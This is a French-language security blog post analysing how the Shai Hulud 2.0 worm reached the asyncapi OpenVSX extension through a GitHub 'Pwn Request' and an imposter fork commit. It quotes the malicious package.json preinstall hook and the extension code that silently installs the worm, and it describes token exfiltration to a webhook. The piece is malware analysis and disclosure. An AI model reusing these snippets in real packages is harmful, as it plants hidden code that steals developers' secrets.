Aikido

Shai Hulud 2.0 : Ce que le Voyageur Inconnu nous révèle sur la stratégie finale des attaquants.

Charlie EriksenCharlie Eriksen
|
#

L'histoire de Shai Hulud 2.0 contient plus de rebondissements, que nous souhaitons mettre en évidence, car nous l'avons vu migrer pour la première fois vers de multiples écosystèmes. En explorant cela, nous avons découvert de nouvelles informations significatives qui offrent des aperçus plus approfondis sur les étapes suivies par les attaquants. Voici quelques points saillants de nos découvertes :

  • La première propagation du ver a commencé dès le 23 novembre 2025, à 23h36 UTC, lorsque les attaquants ont déployé une version malveillante de l' asyncapi/asyncapi-preview extension sur OpenVSX.
  • Lors de la première frappe de cette attaque, les attaquants ont renommé leur compte GitHub en UnknownWonderer1

Lorsque j'ai discuté avec des journalistes des incidents S1ngularity et Shai Hulud, la grande question sans réponse a toujours été : quel est l'objectif final de l'attaquant ? Pendant des mois, nous n'avons eu que peu d'éléments à exploiter, juste des suppositions et de l'intuition.

Mais ce petit détail inspiré de l'univers renforce en fait une théorie que j'ai entendue de nombreux chercheurs : ces attaquants ne causent pas seulement le chaos pour le plaisir ou le profit. Ils essaient également d'envoyer un message. C'est le genre d'énergie du type « regardez à quel point votre monde est fragile » qui apparaît lorsque quelqu'un pense que l'écosystème est devenu trop confiant, trop automatisé et trop facile à contourner.

Que ce soit une motivation sincère ou une simple image de soi théâtrale n'a pas vraiment d'importance. Le résultat est le même : une attaque conçue non seulement pour se propager, mais aussi pour nous faire confronter à la vérité inconfortable que nous sommes devenus un peu trop confiants dans des systèmes bien plus fragiles que nous ne voudrions le croire.

Le Vagabond Inconnu

Le nom d'utilisateur UnknownWonderer1 est presque certainement une référence aux Zensunni Wanderers de Dune. Il s'agissait d'un peuple nomade qui a passé des millénaires à errer à travers les mondes, déplacé et largement ignoré par les puissants.

Au fil du temps, ces vagabonds sont devenus les Fremen ; la seule culture véritablement en phase avec Shai-Hulud, les grands vers des sables d'Arrakis. Lorsque vous associez cela à un malware littéralement nommé Shai Hulud, la référence cesse de paraître accidentelle. Cela devient une sorte de symétrie inspirée de Dune : le vagabond se déplaçant au-dessus des sables et le ver creusant silencieusement sous eux.

Dans l'univers de Dune, les Zensunni représentent des personnes qui vivent en dehors des structures officielles, ignorées jusqu'au moment où leur résilience remodèle des civilisations entières. Il n'est pas difficile de comprendre pourquoi cette imagerie pourrait séduire un attaquant se faufilant à travers une chaîne d'approvisionnement logicielle moderne.

En adoptant cette identité, les attaquants se présentent comme une présence similaire et invisible dans l'écosystème, dérivant entre les dépôts, les comptes et les packages sans attirer l'attention.

Cette mise en perspective laisse même entrevoir une motivation possible. Elle suggère quelqu'un qui se considère comme un outsider défiant un système qu'il juge fragile ou complaisant, ou peut-être un vagabond révélant des faiblesses dans un environnement qui l'a sous-estimé.

Et la métaphore correspond étrangement bien au comportement du malware : silencieux, persistant et opérant depuis les angles morts que personne ne pense à vérifier. Tout cela fait que le nom d'utilisateur ressemble moins à un choix aléatoire et plus à un aperçu de la façon dont les attaquants imaginent leur rôle et leur impact. Ce proverbe, attribué à The Zensunni Whip, semble d'une certaine manière pertinent et prémonitoire :

Vous ne pouvez pas manipuler une marionnette avec une seule ficelle

Se propageant dans OpenVSX

Le 23 novembre 2025, à 23h36 UTC, une nouvelle version de l' asyncapi/asyncapi-preview extension sur OpenVSX a été publiée, ce qui installerait le ver Shai Hulud 2.0. La manière dont il a été introduit était très sournoise et mérite d'être explorée plus en détail. Voici un aperçu étape par étape de la façon dont l'attaque s'est déroulée. 

Étape 1 - Préparer le fork d'exfiltration

Le 22 novembre 2025, à 16h06 UTC, l'attaquant vskpsfkbjs sur GitHub a créé un commit dans un fork du asyncapi/cli dépôt. 

https://github.com/asyncapi/cli/commit/9cbab46335c4c3fef2800a72ca222a44754e3ce1

Dans celui-ci, nous les voyons modifier un script utilisé par l'une de leurs actions GitHub, le faisant exfiltrer la configuration git locale vers un webhook.site point de terminaison. 

Remarquez-vous qu'il est indiqué qu'il appartient à un fork externe au dépôt ? C'est important. Car il s'agit d'un exemple classique de « Pwn Request ». Il résidera uniquement dans le fork de l'attaquant du dépôt, mais plus tard, il s'exécutera depuis l'intérieur du asyncapi dépôt.

Étape 2 - Préparer la PR d'attaque 

Ensuite, le 22 novembre 2025, à 16h29 UTC, nous voyons l'attaquant créer une branche dans leur fork appelée patch-1

https://github.com/asyncapi/cli/commit/6473466dd512125032cf2f8a28f391f8722d4901

Quelques points méritent d'être mentionnés ici :

  • Notez que le nom d'utilisateur a changé de vskpsfkbjs à UnknownWonderer1. Il semble que l'attaquant ait renommé son compte GitHub. 
  • Le commit semble ne contenir que des modifications de texte.

C'est déroutant, n'est-ce pas ? Pourquoi seulement des modifications de texte ? La réponse réside dans la manière dont le workflow des actions GitHub s'exécute. Étant donné que les actions GitHub vulnérables extraient le code fusionné depuis le fork, elles récupéreront également la version malveillante du fichier ‎.github/workflows/changeset-utils/index.js, que les attaquants avaient déjà préparé avec leur charge utile d'exfiltration. Ce fichier malveillant s'exécutera alors dans le contexte du dépôt officiel, exfiltrant leurs secrets GitHub. 

Étape 3 - Soumettre la PR d'exfiltration

Ensuite, le 22 novembre 2025 à 16h38 UTC, l'attaquant soumet une PR au dépôt officiel pour déclencher sa charge utile d'exfiltration. Nous en voyons la preuve dans l'historique SonarQube cloud :

https://sonarcloud.io/summary/new_code?id=asyncapi_cli&pullRequest=1903

À ce stade, leur charge utile malveillante aura été exécutée et aura envoyé le token GitHub à leur point d'exfiltration.

Étape 4 - Masquer les preuves

À ce stade, l'attaquant aura exfiltré les tokens GitHub du dépôt. Seulement 2 minutes et 44 secondes plus tard, à 16h40 UTC, ils ont fermé leur pull request pour masquer leurs traces. 

Étape 5 - Déployer un ver

Le lendemain, le 23 novembre 2025, à 22h56 UTC, les attaquants ont créé un commit (probablement sur leur fork) qui semble avoir été rédigé par GitHub Actions. Le commit supprime tous les fichiers du dépôt, à l'exception de package.json et ajoute le ver. 

https://github.com/asyncapi/cli/commit/2efa4dff59bc3d3cecdf897ccf178f99b115d63d

Le fichier package.json est modifié pour exécuter le ver simplement :

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

Étape 6 - Déploiement de l'extension OpenVSX malveillante

Enfin, l'extension OpenVSX malveillante a été déployée le 23 novembre 2025, à 23h36 UTC. Voici le code malveillant qu'ils ont inséré dans le code d'activation de l'extension :

  console.log("Congratulations, your extension \"asyncapi-preview\" is now active!");
      try {
        0;
        const e = a.spawn("npm", ["install", "github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d"], {
          detached: true,
          stdio: "ignore"
        });
        if ("function" == typeof e.unref) {
          e.unref();
        }
        e.on("error", e => {});
      } catch (e) {}

Cela ne semble pas si suspect, n'est-ce pas ? Cela semble aussi simple que d'installer le package AsyncAPI CLI à partir d'un commit spécifique dans le dépôt officiel, ce qui devrait être sûr. Mais ce n'est pas le cas. Il fait référence au commit malveillant mentionné ci-dessus, qui existait dans un fork, et non dans le dépôt officiel. Toujours confus ? 

Confusion de commit ? Confusion de dépôt ? 

Lorsque nous avons vu pour la première fois le code « malveillant » ci-dessus, nous avons été stupéfaits. Comment pourrait-il être dangereux d'installer un package à partir d'un dépôt GitHub légitime ? La réponse est Imposter Commits, une propriété peu connue de GitHub. En effet, lorsqu'une personne forke un dépôt sur GitHub, tous les commits du fork peuvent également être accédés par le hachage du commit via le dépôt original. Ce n'est qu'en visualisant le commit dans l'interface utilisateur de GitHub que vous obtenez une indication que quelque chose ne va pas :

Ce comportement est vraiment contre-intuitif et peu favorable à la sécurité. Car lorsque vous exécutez une commande comme npm install asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d, vous vous attendez à ce qu'il installe du code depuis le dépôt asyncapi/cli. Pas un commit sur un fork qui n'existe même plus. Ce type d'attaque pourrait être considéré comme une Confusion de Dépôt vulnérabilité. 

Annexe - Chronologie détaillée de GitHub

Horodatage (UTC) Δ Temps Phase Action Importance
16:06:02 Reconnaissance Création de la branche fix-typos sur un fork personnel Configuration initiale ; l'utilisateur prépare la branche de travail
16:06:27 +0:25 Reconnaissance PR #1 créée sur le fork (déduit des données de commentaire) Test du workflow de PR sur son propre dépôt
16:07:16 +0:49 Tests PR #1 fermé sur le fork Expérimentation des mécanismes de PR
16:08:25 +1:09 Tests PR #1 rouvert sur le fork Poursuite des tests de workflow
16:09:06 +0:41 Tests Push vers la branche master Push direct vers le master du fork
16:09:21 +0:15 Tests PR #1 de nouveau fermé Finalisation du cycle de test
16:19:10 +9:49 Préparation Deuxième push vers master Synchronisation du fork avec les modifications
16:19:40 +0:30 Déclencheur d'automatisation Le bot github-actions commente la PR Workflow de changeset automatique activé
16:29:26 +9:46 Staging Poussez vers la nouvelle branche patch-1 Préparation de la charge utile pour la soumission en amont
16:38:05 +8:39 Exécution PR #1903 ouverte sur asyncapi/cli 🚨 Tentative de contribution upstream
16:40:49 +2:44 Retraite PR #1903 fermée par l'auteur Suppression de la PR pour brouiller les pistes
4.7/5

Sécurisez votre logiciel dès maintenant.

Essai gratuit
Sans CB
Planifiez une démo
Vos données ne seront pas partagées - Accès en lecture seule - Pas de CB nécessaire

Sécurisez-vous maintenant.

Sécuriser votre code, votre cloud et votre runtime dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Pas de carte de crédit requise | Résultats du scan en 32 secondes.